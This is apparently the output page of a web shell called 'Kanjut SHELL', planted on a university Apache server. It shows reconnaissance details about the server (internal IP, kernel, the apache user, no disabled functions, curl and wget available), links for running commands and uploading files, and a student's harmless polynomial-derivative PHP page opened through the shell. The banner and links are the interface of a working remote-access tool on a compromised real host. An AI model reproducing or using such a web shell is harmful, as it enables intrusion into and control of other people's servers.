Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.226.17.210
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ajwilcox/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ajwilcox/www/deriv.php
<!File: deriv.php>
<?php
  session_start();

  if (!isset($_SESSION['username'])) {
        $_SESSION['msg'] = "You must log in first";
        header('location: https://zeus.vwu.edu/~ajwilcox/ResearchLogin.php');
  }
  if (isset($_GET['logout'])) {
        session_destroy();
        unset($_SESSION['username']);
        header("location: https://zeus.vwu.edu/~ajwilcox/ResearchLogin.php");
  }
?>
<html>
<head>
        <TITLE>Polynomial Derivative</TITLE>
<meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href=" https://zeus.vwu.edu/~ajwilcox/style.css">
</head>
<body>
        <div class="navbar">
                <a href="https://zeus.vwu.edu/~ajwilcox/Research.php">Home</a>
<! Term Progress dropbown button>
    <div class="dropdown">
                 <button class="dropbtn" onclick="myFunction(1)">Term Progression
                <i class="fa fa-caret-down"></i>
        </button>
        <div class="dropdown-content" id="myDropdown1">
                <a href="https://zeus.vwu.edu/~ajwilcox/Term1.php">Term 1 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term2.php">Term 2 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term3.php">Term 3 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term4.php">Term 4 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term5.php">Term 5 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term6.php">Term 6 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term7.php">Term 7 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term8.php">Term 8 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term9.php">Term 9 Progress</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/Term10.php">Term 10 Progress</a>
                </div>
                </div>
                <a href="https://zeus.vwu.edu/~ajwilcox/Math.php">Mathematics</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/CompSci.php">Computer Science </a>
               <a href="https://zeus.vwu.edu/~ajwilcox/ResearchAbout.php">Project Background</a>
                <a href="https://zeus.vwu.edu/~ajwilcox/ResearchLogin.php?logout='1'"> Logout</a>
                </div>

<! Page Layout finishes here for navbar>
        <center>
        <h1>Polynomial Derviative Calculator</h1>
        <h3>Here you are able to calculate the derivative of a polynomial.
	<p> The form needed when inputing a polynomial has to have proper spacing between terms and signs. (Only Plus Signs) 
	<p> An example is for the polynomial <Math> 3 + 2x +4x<sup>2</sup></Math>. The input form would be 3x^0 + 2x^1 + 4x^2.
	<p> Which results in the output of:  0^-1 + 2x^0 + 8x^1. Which simplifies to : 0 + 2 + 8x.
	</h3>
        <hr>
        <p>
	Give it a try, input a polynomial of the form mentioned above to recieve an output:
	<p>
	Polynomial: <input type=text size=55 name=poly id='textbox'>
        <P>
	<input type="button" value="Submit" onclick="runner()" />
	<input type=reset value=Reset>
	<p>
	<p>
	<P>


<script>
function derivativeTerm(pTerm) {
  let coeff = "";
  let i;
  for (i = 0; pTerm[i] != 'x'; i++) //Checks Term for Coeff
  {
    if (pTerm[i] == '') {
      continue; //breaks loop b/c coeff doesnt exist
    } 
    else 
    {
      coeff += pTerm[i]; //Finds coeff of term by combining constants into one string
    }
  }
  let expo = ""; //String for exponent of individual term
  for (i = i + 2; i!= pTerm.length && pTerm[i] !=""; i++) 
  {
     expo = expo + pTerm[i]; //getting all digits in exponent
  }
  let numcoeff = parseInt(coeff);
  let numexpo = parseInt(expo);
  // We now have coefficient and exponent of term in integer format
  let newcoeff = numcoeff * numexpo; //integer of coeff for derivative
  let newexpo = numexpo - 1; //integer of exponent for derivative
  let derivcoeff = String(newcoeff);
  let derivpow = String(newexpo);
  let derivterm = derivcoeff + 'x';
  let derivterm1 = derivterm+"^"+(derivpow);
  return derivterm1;
}
function derivativeVal(poly) {
  let ans = "";
  let i = 0;
  let termSplit = poly.split("+"); //splitting at + signs
  
  while (i < termSplit.length) {
      if(ans=="")
      {
          ans = ans +  derivativeTerm(termSplit[i])
      }
      else if(i== termSplit.length-1)
      {
        ans = ans + " + " + derivativeTerm(termSplit[i]);
      }
      else
      {
        ans = ans + " + " + derivativeTerm(termSplit[i]) + " + "; 
      }
    i++;
  } //While loop ends here, derivative string is in ans variable

  return ans; //returns string of derivative
}
function runner()
{
let str = document.getElementById("textbox").value;
document.write("The derivative of  "  + str + " is equal to " + derivativeVal(str));
}
</script>

Stv3n404 - 2023